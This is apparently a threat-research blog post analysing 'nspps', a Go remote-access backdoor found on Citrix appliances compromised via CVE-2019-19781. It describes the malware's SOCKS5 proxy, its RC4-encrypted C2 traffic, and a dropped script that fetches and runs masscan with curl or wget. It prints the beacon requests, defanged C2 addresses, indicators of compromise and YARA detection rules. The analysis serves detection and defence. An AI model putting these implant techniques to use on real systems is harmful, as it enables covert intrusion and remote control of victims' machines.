Malware analysis: nspps, a Go RAT/Backdoor

At IronNet Threat Research, we're always looking for novel or "interesting" malware, to inform analysis that enhances our products' detection capabilities.

Recent compromises of specific Citrix products via the CVE-2019-19781¹²³⁴ vulnerability have been brought to light recently by the public exposure of several of the associated malicious software components involved in those events.

A trusted partner provided IronNet Threat Research with a copy of one of those components in isolation, a binary that appears to be a userspace remote access tool (RAT) or backdoor written in Go (a.k.a. "golang"), and built for use upon FreeBSD targets. It is a fully featured utility, and would be a suitable first stage for deployment via the exploitation scenario, though we weren't afforded endpoint details from the intrusion that might confirm that.

Brief, publicly available overview information on the RAT's functionality and related IOCs has been published, including summary notes from TrustedSec⁵ and X-Force IRIS⁶. TrustedSec's post associates "nspps" with coinminer activity based on "XMRig 5.5.0", and similar activity was also noted in the intrusion from which our sample was derived. The MD5 of the coinminer binary sample, 08f76eb3d62d53bff131d2cb0af2773d, is detected by several prominent AV engines and won't be covered here.

The "nspps" binary, however, was detected only by 1 out of 59 AV engines in VirusTotal⁷ as of April 17, 2020. That's interesting, so let's look a little further into what it actually is and does, to expand on some of the previously published information.

Sample

The file was provided to us from an incident response (IR) related to one of the noted intrusions. The filename "nspps" was observed, which is likely a hide-in-plain-sight attempt at blending into a process list alongside NetScaler appliance processes named "nsppe", which would be the name for legitimate instances of the NetScaler Packet Processing Engine process.

A VirusTotal lookup using one of the file's hashes shows that this same binary has also been seen using the file/process name "klli".

1. https://support.citrix.com/article/CTX267027, "CVE-2019-19781 - Vulnerability in Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliance", Citrix Support Knowledge Center, Modified January 24, 2020.
2. https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/, "Citrix releases final fixes for CVE-2019-19781", Fermin J. Serna, CISO, Citrix, January 24, 2020.
3. https://www.us-cert.gov/ncas/alerts/aa20-031a, "Alert (AA20-031A): Detecting Citrix CVE-2019-19781", U.S.Cybersecurity and Infrastructure Security Agency (CISA), Last Revised February 18, 2020.
4. https://www.cyber.gc.ca/en/alerts/detecting-compromises-relating-citrix-cve-2019-19781-0, "Alert: Detecting Compromises relating to Citrix CVE-2019-19781 (AL20-005)", Canadian Centre for Cyber Security, February 4, 2020.
5. https://www.trustedsec.com/blog/netscaler-honeypot/, "NETSCALER HONEYPOT", Tyler Hudak, TrustedSec, January 13, 2020.
6. https://exchange.xforce.ibmcloud.com/malware-analysis/guid:af7bb9f9798776e2cd98c70d9f63aab1, "X-Force IRIS Malware Analysis Report: nspps Analysis Report", IBM X-Force Incident Response and Intelligence Services (IRIS), Last updated January 29, 2020.
7. https://www.virustotal.com/gui/file/5059d67cd24eb4b0b4a174a072ceac6a47e14c3302da2c6581f81c39d8a076c6/detection, Virus Total Search for SHA256: 5059d67cd24eb4b0b4a174a072ceac6a47e14c3302da2c6581f81c39d8a076c6, last performed April 17, 2020.

Network information

Additionally, "nspps" stands up a SOCKS5 server "listen" on IP 0.0.0.0 (i.e. INADDR_ANY, to match on all of the target's available network interfaces), using a random TCP port number generated between the values 30000 and 32000 (inclusive), as well as 8-byte randomly generated "user" and 8-byte randomly generated "pass" values, for use in authentication to the SOCKS5 server. Upon startup, those values are delivered back to the connected C2 server.

The values used to build the strings for both "user" and "pass" are ASCII characters, generated from the range "[A-Za-z]".

During multiple runs, on 2 different FreeBSD platforms (8.4 and 12.1), "nspps" produced the same "random" values for the SOCKS5 TCP port number, "user" and "pass" values.

"nspps" uses functions in Go's "math/rand" package for pseudo-random number generation (PRNG), whose documentation mentions "Random numbers are generated by a Source. Top-level functions, such as Float64 and Int, use a default shared Source that produces a deterministic sequence of values each time a program is run. Use the Seed function to initialize the default Source if different behavior is required for each run."⁸

These SOCKS5 "random" values are generated in the "main.main" function during "nspps" startup, using "main" package functions that wrap calls to "math/rand" Go functions...

• the "user" and "pass" values are both produced by a call to "main.RandStringRunes", which in turn invokes "math/rand.Intn", which is documented, in part, as "returns, as an int, a non-negative pseudo-random number in [0,n) from the default Source"⁹
• the TCP port value is obtained through a call to "main.randIntRange", which then also calls "math/rand.Intn"

...as follows...

Curiously, the "Use the Seed function to initialize the default Source if different behavior is required for each run" part isn't done here until a bit later down in the code (specifically at offset 0x6EC552, "call  math_rand_Seed")...

8. https://golang.org/pkg/math/rand/, "Go Package rand".
9. https://golang.org/pkg/math/rand/#Intn, "Go Package rand, func Intn".

...so it appears that the "user", "pass" and TCP port "random" values returned from the unseeded Go PRNG may be constant for every instance of this "nspps" binary that's deployed.

Encryption Information

Data payloads, with the exception of log messages, exchanged between the "nspps" client and its C2 server(s) are marshalled and obfuscated before sending by...

• Marshalling into JSON via the encoding/json.Marshall function, then
• ENcrypting with RC4 via the Go function crypto/RC4.Cipher_XORKeyStream

...and deobfuscated and unmarshalled on the receiving side by...

• DEcrypting with RC4 via the Go function crypto/RC4.Cipher_XORKeyStream, then
• UNmarshalling from JSON via the encoding/json.Unmarshall function

Log messages, which should be ASCII text sequences, are shipped from "nspps" to its C2 server(s) without JSON marshalling, using only the RC4 encryption via crypto/RC4.Cipher_XORKeyStream.

The RC4 key used for encryption of the data payloads is the following, fixed 12-byte sequence, hardcoded within "nspps"...

Endpoint Information

Notes:

• The lock file is used as a single-thread execution assurance device. The file (0-length in our lab testing) is opened and placed under an "advisory" lock, via an "fcntl(fd, F_SETLK,  ...)" system call, by the first "nspps" process to gain execution. Any additional "nspps" processes (that are not child processes of an initial "nspps" process) would receive an EAGAIN (errno:35, "Resource  temporarily unavailable") error on the syscall, and then immediately exit, accordingly. The filename for the lock file is generated from the format string "%s.lock" in the my/bot/single.Single_Filename function, with the argument "linux" passed as the referenced string parameter. "linux" is hardcoded in the "nspps" binary despite it being compiled for FreeBSD, which, along with some other Linux specificity in the "firewire.sh" script, possibly suggest that the same set of Go source code might be used to generate both Linux and BSD editions, without employing platform-specific conditional compilation directives.
• The "writable directory" is generated by manufacture of both potential pathnames, and the first one deemed to have been successful is used ("/var/tmp/.netscalerd" will be the first checked). Both directories appear to be left in place, even though only one of the two will be used. Additionally, should both directories fail to be generated for some reason, an attempt is made to use the environment variable "TMPDIR" (which normally resolves to "/tmp" on "*n[iu]x" systems) to situate the working directory. The "writable directory" does not appear to be used as a current working directory by "nspps", as we observed no "chdir" system calls or navigation in the actor-specific portions of code or in lab testing, subsequent to manufacture of these directories.
• The "uuid" file is placed within the chosen writable directory. It contains 36 bytes, the ASCII representation of an RFC 4122 compliant Universally Unique Identifier (UUID), generated by the first execution of "nspps", using a pseudo-random sequence obtained from the Go crypto/rand.Read function. As we'll see shortly, this UUID value is provided by "nspps" in corresponding HTTP headers, when communicating with its C2 server(s).
• "firewire"...

"nspps" extracts the following "firewire.sh" file from itself starting at file offset 0x3C4D1D for a length of 1400 (0x578) bytes...

The script should run on both Linux and FreeBSD platforms, though it contains a bit of Linux-centric content within.

Notes...

• Lines 9-29: When executed on a Red Hat- or Debian-based Linux platform, the utility pairs "rpm" and "yum" (Red Hat) or "dpkg-query" and "apt-get" (Debian) will be used to confirm that the "libpcap-dev" package is installed, and try to install if not. No real error handling for the installation commands is done on a platform where they might not exist, so a FreeBSD platform would fall through and continue to process the script, accordingly.

• The remainder of the script should be more platform agnostic. Lines 31-48 try to find the file "firewire" in its current working directory, and verify that it matches the MD5: 45a7ef83238f5244738bb5e7e3dd6299. If either the "md5sum" command is not available, or the output of the "md5sum" command does not contain the desired MD5, an attempt is made to download a copy of the file "firewire" from the Internet address/URL contained in the "$MASSCAN" variable (assigned from script input parameter "$5" at line 7). This is tried first with "curl", and then "wget", if "curl" was unsuccessful for any reason. Lastly, "chmod" is used to make "firewire" executable.
• Finally, "firewire" is executed at line 50, using the "$PORT", "$RATE", "$INPUT", and "$OUTPUT" variables (all assigned in lines 3-6 from script input parameters "$1", "$2", "$3", and "$4", respectively) to form its command line parameters. Note that if the attempt at execution fails, the script assumes that to be due to insufficient privilege level of the current user, and a second execution of "firewire" is attempted at line 56 using "sudo", which will try to execute the command as the system's superuser, or "root".

We did not receive a copy of "firewire" to examine, but given that...

1. "nspps" parses and handles a "masscan" command sent from its C2 server(s).
2. The handler for that command is the "main.masscan" function, that drops the "firewire.sh" script to disk and executes it.
3. The MD5 45a7ef83238f5244738bb5e7e3dd6299 mentioned in "firewire.sh" is found within VirusTotal¹⁰, and the exported symbols listed there are all found within source code for the "Masscan: Mass IP  port  scanner", which professes itself to be "an Internet-scale port It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second, from a single machine"¹¹, publicly available at  hxxps://github[.]com/robertdavidgraham/masscan.
4. The "firewire" command-line parameters invoked in "firewire.sh" are also found documented as among those in "masscan".

...we believe "firewire" == "Masscan".

It's likely that "firewire" is used for any requisite port scanning to be performed within victim network space, and given the "fire" in "firewire" coupled with the indicated high-performance capability of the scanner, it may also be a vehicle used to conduct denial of service attacks in target space.

Initial C2 Callouts

Following "nspps" startup on a lab FreeBSD 8.4 target, there were three initial connections attempted to its C2 endpoint(s). There appears to be a notion of a "current C2 server" within "nspps", effectively being the most recent C2 server to which it has successfully connected and exchanged data. At program startup, the "current C2 server" is set to the first network address in its list of C2 servers, "hxxp://188[.]120[.]254[.]224", and first attempts at connectivity will be initiated using that address.

The callouts are Web requests (2 "GET" and 1 "POST"), issued using the external Go package "github[.]com/go-resty/resty", an HTTP and REST client library for Go. Each of the callouts has its own periodicity, and via the "resty" package has a retry count, retry wait time, max retry wait time, and also implements a "backoff" algorithm, according to the package's' "README.md" notes.¹²  The "main" package's functions that perform each of these requests implement a default sleep time between retries of the respective request, mentioned in each request's notes, below.

The following three C2 callouts were observed from "nspps" at startup, within the same second. You'll note repetitive use of some of the following HTTP headers, including system survey information, probably for assuring proper selection of subsequent tasking, targeting and content downloads by the C2 server to match the requesting platform, software, and privilege levels...

• Arch: amd64
• Cores: 1
• Mem: 2031
• Os: freebsd
• Osname: freebsd
• Osversion: 8.4-release
• Root: true (when the currently executing user is not "root", this value is set to "false", possibly signifying the need for C2 upload of a follow-on privilege escalation utility for this type of architecture, before going much further)
• Uuid: 8ec35f4d-03dd-4808-7c6e-3f8e6096b326 (probable implant/RAT ID unique value)
• Version: 28 (hardcoded value: possibly the version of this edition of "nspps" RAT)

10. https://www.virustotal.com/gui/file/0ba3530c7bbd551965fde10034b9f92954860059ad669c0fbcd2c13dee8a3780/detection, VirusTotal Lookup for MD5 45a7ef83238f5244738bb5e7e3dd6299, Last verified: March 17, 2020.
11. https://github.com/robertdavidgraham/masscan/blob/master/README.md, "MASSCAN: Mass IP port scanner", Robert Graham, April 21, 2019.
12. https://github.com/go-resty/resty/blob/master/README.md, "Resty: Simple HTTP and REST client library for Go", February 24, 2020.
    
    

1. "nspps" initiates a C2 server check sequence, by starting the new goroutine "main.healthChecker", which calls the "main.checkHealth" function to send out a "GET /h".

GET /h HTTP/1.1\r\n

Host: 188[.]120[.]254[.]224\r\n

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n

Arch: amd64\r\n

Cores: 1\r\n

Mem: 2031\r\n

Os: freebsd\r\n

Osname: freebsd\r\n

Osversion: 8.4-release\r\n

Root: true\r\n

Uuid: 8ec35f4d-03dd-4808-7c6e-3f8e6096b326\r\n

Version: 28\r\n

Accept-Encoding: gzip\r\n

\r\n

The C2 server check will attempt to repetitively contact each of its 3 embedded addresses...

hxxp://188[.]120[.]254[.]224

hxxp://46[.]229[.]215[.]164

hxxp://62[.]113[.]112[.]127

 ...in turn, using the first one which successfully responds with a status code 200 ("OK") as its current C2 server. Between "health check" attempts, "main.healthChecker" will issue a "time.Sleep" call, pausing for 60 seconds before the next connection attempt.

2. "nspps" sends a "GET /get" request to its current C2 server, as a "task" fetch, checking to see if there's any queued tasking/processing to be performed on target...

GET /get HTTP/1.1\r\n

Host: 188[.]120[.]254[.]224\r\n

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n

Arch: amd64\r\n

Cores: 1\r\n

Mem: 2031\r\n

Os: freebsd\r\n

Osname: freebsd\r\n

Osversion: 8.4-release\r\n

Root: true\r\n

Uuid: 8ec35f4d-03dd-4808-7c6e-3f8e6096b326\r\n

Version: 28\r\n

Accept-Encoding: gzip\r\n

\r\n

This request is issued by the "main.getTask" function, as part of a task solicitation and handling loop performed within the "main.main" function once it has completed initial setup and processing. If the C2 server responds with a status code 404 (i.e. "Not  Found"), there are no tasks waiting to be performed at the present time.

Should a non-404 response be received, the returned response data, containing tasks and the parameters for performance of those tasks, is decrypted using our previously noted RC4 key by the "main.RC4" function, then unmarshalled via "encoding/json.Unmarshal", and returned to "main.main".

"main.main" passes the decrypted/unmarshalled tasking data to the "main.doTask" function, which contains a large "if/then/else" construct to validate the task string, and invokes the corresponding handler routine from within the "main" package to implement the desired functionality. Depending on the task, subsequent processing is performed either by direct function call, or via Go's concurrent processing capability, employing channels and multiple goroutines.

Each iteration of this "main.getTask/main.doTask" solicitation and processing attempt will be coordinated by a "time.Sleep" call which pauses for 10 seconds.

More detail on the specific tasks/commands supported within "nspps" and their functionality is presented in the following section, "Command and Control (C2) Protocol Summary".

3. "nspps" implements a SOCKS5 proxy server on target, by starting a new goroutine at "main.startSocks", which calls "github[.]com/armon/go-socks5.Server_ListenAndServe" on IP 0.0.0.0 (i.e. INADDR_ANY) and the randomly generated TCP port. The "main.sendSocks" function is called to send the "POST /s" request including a JSON marshalled, RC4 encrypted data payload, to inform the C2 server as to the randomly generated "user", "pass" and TCP port values that are to be used for subsequent connections to the SOCKS5 server now running in victim space...

POST /s HTTP/1.1\r\n

Host: 188[.]120[.]254[.]224\r\n

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n

Content-Length: 50\r\n

Arch: amd64\r\n

Content-Type: application/octet-stream\r\n

Cores: 1\r\n

Mem: 2031\r\n

Os: freebsd\r\n

Osname: freebsd\r\n

Osversion: 8.4-release\r\n

Root: true\r\n

Uuid: 8ec35f4d-03dd-4808-7c6e-3f8e6096b326\r\n

Version: 28\r\n

Accept-Encoding: gzip\r\n

\r\n

<...followed by the next 50 bytes of that "application/octet-stream" data...>

HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH

HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH

HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH

HH HH

...where "HH" represents the actual byte values transmitted.

This request is a bit more interesting than the first two, because it also appends a 50-byte data payload, which can be decrypted and unmarshalled to obtain the target's SOCKS5 proxy information. After decryption with the previously noted RC4 key, the JSON-marshalled plaintext should appear as...

{"User":"UUUUUUUU","Pass":"PPPPPPPP","Port":NNNNN}

...where...

UUUUUUUU would be the random SOCKS5 server user authentication value

PPPPPPPP would be the random SOCKS5 server pass authentication value

NNNNN    would be the random SOCKS5 server TCP port being used

Should this SOCKS5 initial "POST" connection be unsuccessful, it will be retried in a loop, with a "time.Sleep" call imposing a delay of 20 seconds between retries.

Command and Control (C2) Protocol Summary

Supported Tasks

As mentioned above in "Initial C2 Callouts", "nspps" sends "GET /get" requests to its connected C2 server, asking for work.

If there is work available, the C2 server responds with a non-404 status code and a JSON-marshalled and RC4-encrypted data buffer containing a task string and parameters for the task's execution.

While purely static analysis (translation: lack of data from the C2 server side) doesn't provide us a 100% full understanding of every aspect of certain particular tasks at this time, here is an overview of each of the supported tasks found within "nspps", and the corresponding functionality of that task...

13. https://redis.io/topics/introduction, "Introduction to Redis", sponsored by RedisLabs.

Go Packages Used Within "nspps"

Our copy of "nspps", which weighs in at just over 5.6 MB in size, bundles just over 7,000 separate functions, when disassembled using a recent version of IDA Pro.

Most of the content and functions are from Go "standard" packages, but the following publicly available Go utility packages are also observed in use within "nspps"...

...plus one additional package: "my/bot/single", which appears to be a slight modification of the publicly available Go package "github[.]com/marcsauter/single". "single" provides a convenient interface to advisory file locking, for several different platforms. This helps to assure single-instance execution of "nspps" on a target. The modification appears to be a provision for a secondary, alternate destination directory for the lock file via an "os.Tempdir" call, should access to the "/var/run" directory be denied for some reason. "os/Tempdir" is used within the newly added function "single.Filename2", calls to which have been inserted within both the "single.Single_Checklock" and "single.Single_TryUnlock" functions, when creating and removing the lock file, respectively.

Lastly, the malware developer's "main" package is where most of the application-specific processing is resident. Here is the list of the likely source files comprising the "main" package, as seen within embedded "nspps" strings...

Yara Rule(s)

Yara Rule for Detection of the RC4 Key Used by "nspps" for Encryption

rule nspps_RC4_Key {

    meta:

        author = "IronNet Threat Research"

        date = "20200320"

        version = "1.0.0"

        description = "RC4 Key used in nspps RAT"

        reference = "SHA1:3bbb58a2803c27bb5de47ac33c6f13a9b8a5fd79"

strings:
$s1 = { 37 36 34 31 35 33 34 34 36 62 36 31 }

condition:
all of them
}

Yara Rule for Detection of ASCII Strings Present in "nspps" Executable

rule nspss_executable_strings {

    meta:

        author = "IronNet Threat Research"

        date = "20200320"

        version = "1.0.0"

        description = "ASCII strings seen in nspps RAT"

        reference = "SHA1:3bbb58a2803c27bb5de47ac33c6f13a9b8a5fd79"

strings:
$s00 = "%s.lock" wide ascii
$s01 = ", pass " wide ascii
$s02 = ", user " wide ascii
$s03 = "/getT" wide ascii
$s04 = "/tmp/." wide ascii
$s05 = "/var/tmp/." wide ascii
$s06 = "Get task error" wide ascii
$s07 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" wide ascii
$s08 = "SKL=" wide ascii
$s09 = "Targets for task %d is empty" wide ascii
$s10 = "Targets getted, type cidr, size %d" wide ascii
$s11 = "Targets getted, type ip, size %d" wide ascii
$s12 = "Targets getted, type url, size %d" wide ascii
$s13 = "Task %d, executed in %s" wide ascii
$s14 = "Task %d, new targets setted, size %d" wide ascii
$s15 = "Task %d, processed %d/%d, left %d, thread %d, pps %d" wide ascii
$s16 = "Try to get targets for %d, offset %d" wide ascii
$s17 = "UpdateCommand: downloaded to %s" wide ascii
$s18 = "User-Agent:" wide ascii
$s19 = "curl" wide ascii
$s20 = "doTask with type %s"
$s21 = "exec_out" wide ascii
$s22 = "firewire.sh" wide ascii
$s23 = "get md5 of file error" wide ascii
$s24 = "invalid md5, actual %s, expected %s, url %s" wide ascii
$s25 = "libpcap-dev" wide ascii
$s26 = "masscan chmod output %s" wide ascii
$s27 = "sendSocks %s" wide ascii
$s28 = "socks port = " wide ascii
$s29 = "startCmd %s, pid %d" wide ascii
$s30 = "try to send %d results for task %d"
$s31 = "versionAndHash is empty" wide ascii
$s32 = "wget" wide ascii
$s33 = "Client sent AUTH, but no password is set" wide ascii

condition:
24 of them
}

Conclusions

Again, as of April 17, 2020, this binary was detected by only 1 out of 59 AV engines in VirusTotal. Given that...

• "nspps" has been documented as being present within different compromise incidents related to CVE-2019-19781.
• "nspps" contains code sequences that ..
  • download and execution of a probably "Masscan" binary,
  • apparent authentication brute forcing targeting Redis tokens/passwords,
  • a standup of a SOCKS5 server at startup, followed by communication of its user/password/port back to its C2 server,
  • a specific C2 command ("socks") that appears to start up an on-demand TLSed, multiplexed SOCKS5 server, and
  • a base pathname for its file locking Go package of "my/bot"

...it's likely that this binary is malicious in nature, as some of this content appears to be out of the realm of legitimate, remote administration functionality.

We hope this post contains information that can aid in further detection, identification, and remediation of "nspps" and any other possibly related malicious software components, and associated infrastructure. Several methods can be used to identify network activity generated by this malware sample. The periodic communications described in the details above can be identified via network traffic analysis. Depending on the features available, however, it may be difficult to separate such malware activity from similar benign activity, resulting in many false-positive detections. The detection capabilities within the IronDefense Network Traffic Analysis platform use information from numerous features to produce fully-enriched events and prioritized alerts. These capabilities can be used to detect several aspects of C2 and tasking-related communication described in this blog post. The combination of behavioral detection models, enrichment, and prioritization enables the system to detect the signals emitted by these types of malware threats and reduce the time spent treating false positives.

IronNet’s Threat Research team will continue to examine malware and share findings with the community, so keep an eye out for future blog posts and tweets from @IronNetTR